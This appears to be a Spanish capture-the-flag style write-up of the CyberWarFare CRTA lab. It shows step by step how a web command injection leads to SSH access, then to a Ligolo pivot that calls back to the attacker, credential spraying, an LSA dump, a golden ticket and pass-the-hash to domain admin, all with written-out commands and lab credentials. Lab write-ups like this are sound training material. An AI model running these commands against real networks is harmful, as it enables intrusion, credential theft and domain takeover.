CRTA - Lab
Descripción
Este laboratorio CRTA de CyberwarfareLabs trata sobre un entorno empresarial centrado en Active Directory. Empezamos con reconocimiento y enumeración, localizamos malas configuraciones y vulnerabilidades en AD que permitieron un acceso inicial. A partir de ahí realizamos movimiento lateral y escalada de privilegios hasta obtener control relevante del dominio.
Plataforma: CyberWarFare
Dirección IP: 192.168.80.10
Sistema operativo: Linux, Windows
Dificultad: Media
Técnicas Vistas:
- Web Enumeration
- OS command injection
- LFI (Local File Inclusion)
- Information Leakage
- Gaining SSH access from LFI
- Obtain clear text credentials stored in Firefox database (bookmarkz) [Lateral Movement]
- Pivoting with Ligolo
- Credential Spraying (NetExec)
- LSA Dump (NetExec)
- Forging a Golden Ticket (AES Hash, Domain SID (Child) and Extra Domain SID (Parent) [ticketer.py && getST.py]
- Secretsdump.py - Dumping the hash for Administrator user (Using the DRSUAPI method) [Privilege Escalation]
- PassTheHash (evil-winrm)
Like: Active Directory, OSCP, eCPPTv3
Arquitectura del laboratorio

IP de la Maquina
VPN: 10.10.200.19 (IP que me asigno la VPN)
Rango de IP externa 192.168.80.0/24, fuera del scope 192.168.80.1
Rango de IP Interna 192.168.98.0/24, fuera del scope 192.168.98.1

Reconocimiento
Buscamos que hosts están activos en la red, ya que desconocemos la IPde la maquina victima.
1 | nmap -sn 192.168.80.0/24 |

Vemos que nos muestra sola una ip, ese seria nuestro target.
Comprobando conectividad con la maquina
1 | ping -c1 192.168.80.10 |

Identificando el sistema operativo
1 | whichSystem.py 192.168.80.10 |

Enumeración
Escaneo inicial de los puertos
1 | nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.80.10 -oG scanP |

Detectando las versiones y los servicios que corren para esos puertos
1 | nmap -sCV -p22,80 -oN scanS 192.168.80.10 |

Vemos que solo hay 2 puertos abiertos uno es SSH pero no tenemos credenciales, y el otro es el 80 el cual vamos a inspeccionar, ya que hay una web.
Visitamos la url

Nos encontramos esta web que parecer ser una tienda. Después de probar, algunas credenciales por defecto no hay suerte. Pero vemos que se puede crear una cuenta, así que nos creamos una.
Una vez creada la cuenta y dentro de la web se ve asi

Decido inspeccionar el Código fuente para ver si encuentro algo interesante.

En la cual me encuentro este campo empleando un método POST en el cual se envía un correo.
Decido interceptar la petición con Burpsuite para hacer mas pruebas

Como ya lo vimos, lo que esta en el campo EMAIL es lo que se envía por POST.
Explotación
Luego de probar varios ataques sin éxito, descubro que es vulnerable a OS command injection.

Como observamos nos devuelve el id del usuario. Ya tenemos una via potencial.
Decido probar leer archivos de configuración que suelen revisarse como el passwd y filtrar por aquellos usuarios que tienen una shell

Observamos lo que parece ser una contraseña para el usuario privilege. Recordemos que tenemos el puerto 22 abierto y tenemos posibles credenciales de acceso.
Probamos las credenciales via SSH y vemos que obtenemos acceso con éxito.

Una vez ganamos acceso tenemos que buscar la manera de escalar privilegios.
Escalada de Privilegios
Probamos enumeraciones comunes dentro de un sistema Linux para elevar nuestros privilegios.
Uno de los primeros que suelo usar es el siguiente:
1 | sudo -l |

Vemos que estamos dentro del grupo de super usuarios lo que quiere decir que al colocar la contraseña del usuario nos dará acceso como root.

Y en efecto vemos que obtuvimos acceso como root.
Bien ahora vamos a enumerar el sistema buscando archivos de configuración, o programas instalados en el sistema, para tratar de encontrar credenciales o algo que nos permita saltar a la red interna donde se encuentra el DC.
Decido usar Linpeas para enumerar el sistema de forma automática y para ahorrar tiempo.
Luego de revisar la salida de Linpeas, veo archivos .sqlite interesantes en la carpeta home del usuario privilige, así que decido darles un ojo.

Eran varios archivos los cuales revise con sqlite y logre obtener unas credenciales de uno de ellos, el cual fue places.sqlite.
Extraemos la info de places.sqlite en la cual en la tabla moz_bookmarks estaba lo interesante.

Al extraer la info, vemos que se ingreso a una web en una ip, con unas credenciales.
Tenemos otras credenciales y también una ip que vemos que pertenece al rango de IPs de la red interna.
Muy bien antes de poder revisar el rango de la red interna debemos tener acceso, ya que desde nuestra maquina no tenemos visibilidad con esa red.
Pivoting
Vamos a usar una técnica que se le conoce como pivoting en la cual vamos a tunelizar todo el trafico de la red interna para que use la maquina comprometida como puente y poder tener visibilidad con con esta.
Vamos a usar Ligolo para esta ocasión, lo primero es descargar los binarios correspondientes a nuestro OS desde los releases, los cuales son un agente y un proxy.
Una vez descargados, para identificarlos mejor decido renombrarlos

Ahora hay que transferir el agent a la maquina víctima, para esto usare un servidor con python y lo descargamos desde la maquina víctima con wget.

Una vez transferido le damos permisos de ejecución al agent en la maquina víctima, y continuamos la configuración en nuestra maquina de atacante.
Comenzamos a configurar Ligolo, lo primero que haremos es crear una nueva interfaz de red
1 | #Generamos la interfaz de red para el tuneling |

Borramos el rango de ip que vamos a tunelizar de la interfaz en la que este para poder usarla en Ligolo
1 | sudo ip route del 192.168.98.0/24 dev tun2 |

Vemos que es borrada con éxito.
Levantamos la interfaz creada
1 | sudo ip link set ligolo up |

Agregamos el rango de ip que vamos a tunelizar en Ligolo
1 | sudo ip route add 192.168.98.0/24 dev ligolo |

Una vez agregada comprobamos que el rango de ip ya esta en la ruta con ip route show, y observamos que ya esta listo.
Ahora Ejecutamos el proxy desde nuestra maquina atacante
1 | sudo ./lin-proxy -selfcert -laddr 0.0.0.0:443 |

1 | ./lin-agent -connect 10.10.200.19:443 -ignore-cert |
Ahora ejecutamos el agente en la maquina victima

Después identificamos la session y le damos enter
1 | session |
Iniciamos el tunel
1 | start |
Luego revisamos que se estableció la conexión entre las 2 maquinas desde Ligolo
1 | tunnel_list |

Ahora ya esta listo, ya deberíamos poder acceder a la red interna.
Hacemos una prueba buscando los Hosts activos en la red interna
1 | nmap -sn -oN scope2 |

En efecto vemos que nos descubre 4 hosts, los cuales vamos a filtrar y a quedarnos únicamente con las IPs.

Listo con esta regex nos quedamos únicamente con las IPs y descartamos la que finaliza en 15 ya que pertenece a la maquina que ya comprometimos.

Ahora queda listo nuestro archivo de IPs.
Active Directory Attacks
Ahora en este punto realizaremos ataques sobre el DC.
Primero enumeramos que hay en esas Ips de la siguiente manera
1 | nxc smb ips |

Ya obtenemos un poco de info acerca de las maquinas, como los nombres, dominio, y versiones de los OS. Recordemos que debemos agregar los dominios al etc/hosts, esto nos sirve para emplear algunos ataques al DC.

Luego debido a que obtuvimos unas credenciales que hacen referencia a la ip que finaliza en 30, suponemos que pertenecen a esa maquina, pero para probar en todas realizaremos un Credential Spraying sobre las 3 IPs
1 | nxc smb ips -u 'john' -p 'User1@#$%6' |

Observamos que son validas para la IP que finaliza en 30 y nos coloca Pwn3d! lo que indica que tenemos privilegios de Administrador Local sobre la maquina MGMT.
Ahora Vamos a dumpear LSA para ver si logramos extraer alguna otra credencial que pueda servirnos en otra maquina.
1 | nxc smb 192.168.98.30 -u 'john' -p 'User1@#$%6' --lsa |

Logramos obtener otra credencial en texto claro.
Ahora haremos otro Credential Spraying con las nuevas credenciales del usuario corpmngr
1 | nxc smb ips -u 'corpmngr' -p 'User4&*&*' |

Vemos que tenemos permisos de Administrador local en la maquina CDC el cual es el Child Domain (DC Secundario).
Vamos a realizar un ataque llamado Golden Ticket para comprometer el DC Principal.
Para emplear este ataque necesitamos 3 cosas:
1- Hash aes256 de la cuenta krbtgt
2- SID del DC secundario (Child Domain)
3- SID del DC principal (Parent Domain)
Ahora vamos a extraer el hash de la cuenta krbtgt con impacket-secretsdump
1 | secretsdump.py -debug child.warfare.corp/corpmngr:'User4&*&*'@192.168.98.120 -just-dc-user 'child\krbtgt' |

Guardamos el hash aes256 en un archivo.
Ahora procedemos con la extracción de los SID de ambos DC
1 | #DC Secundario |

1 | #DC Principal |

Ahora generamos el golden ticket usando las 3 cosas que obtuvimos las cuales son:

Ahora usamos la herramienta ticketer.py para Solicitar un TGT (Ticket Granting Ticket) y nos genere un archivo de cache el cual posteriormente usaremos para solicitar un TGS (Ticket Granting Service)
1 | ticketer.py -domain child.warfare.corp -aesKey |


Exportamos la variable de entorno KRB5CCNAME para cargar el Golden ticket
1 | export KRB5CCNAME=corpmngr.ccache |

Esta variable de entorno nos va a servir para que todas las herramientas Kerberos usen el ticket que creamos y almacenamos en esa variable.
Solicitamos un TGS para el (SPN) servicio CIFS del DC Principal usando el archivo de cache con getST.py
1 | getST.py -spn 'CIFS/dc01.warfare.corp' -k -no-pass child.warfare.corp/corpmngr -debug |

Esto usa el TGT cargado para solicitar un ticket de servicio (TGS) válido para CIFS del DC principal.
Ahora exportamos la variable de entorno nuevamente
1 | export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache |

Ahora ya todo esta listo con ese TGS nuevo, ahora podemos usar secretsdump.py para conectarnos al DC principal y extraer el hash del usuario Administrador del Dominio.
1 | secretsdump.py -k -no-pass dc01.warfare.corp -just-dc-user 'warfare\Administrator' -debug |

Con esto tenemos el hash del usuario Administrador del dominio y ya podemos hacer lo que queramos.
Pero antes validamos el hash con NetExec:
1 | nxc smb 192.168.198.2 -u 'Administrator' -H 'hashdelusuarioperron' |

Como observamos nos coloca Pwn3d! lo que significa que podemos acceder como Domain Admin.
Ahora accedemos al DC Principal usando una técnica llamada Pass The Hash, la cual consiste en que usemos el hash NT de un usuario para acceder aunque no sepamos su contraseña.
Verficamos si podemos conectarnos por el Servicio de administración remota de windows WINRM:
1 | nxc winrm 192.168.198.2 -u 'Administrator' -H 'hashdelusuarioperron' |

Ahora usaremos una herramienta llamada evil-winrm para conectarnos al DC:
1 | evil-winrm -i 192.168.98.2 -u 'Administrator' -H 'hashdelusuarioperron' |

Como vemos nos conectamos con éxito, y somos Domain Admin del DC.
¡Gracias por leer hasta aquí! Espero que este writeup te haya sido útil para comprender como se ataca una red interna desde una externa, como emplear un Golden Ticket Attack y por supuesto a resolver este laboratorio. ¡Nos vemos en el próximo writeup, y Happy Hacking =)!




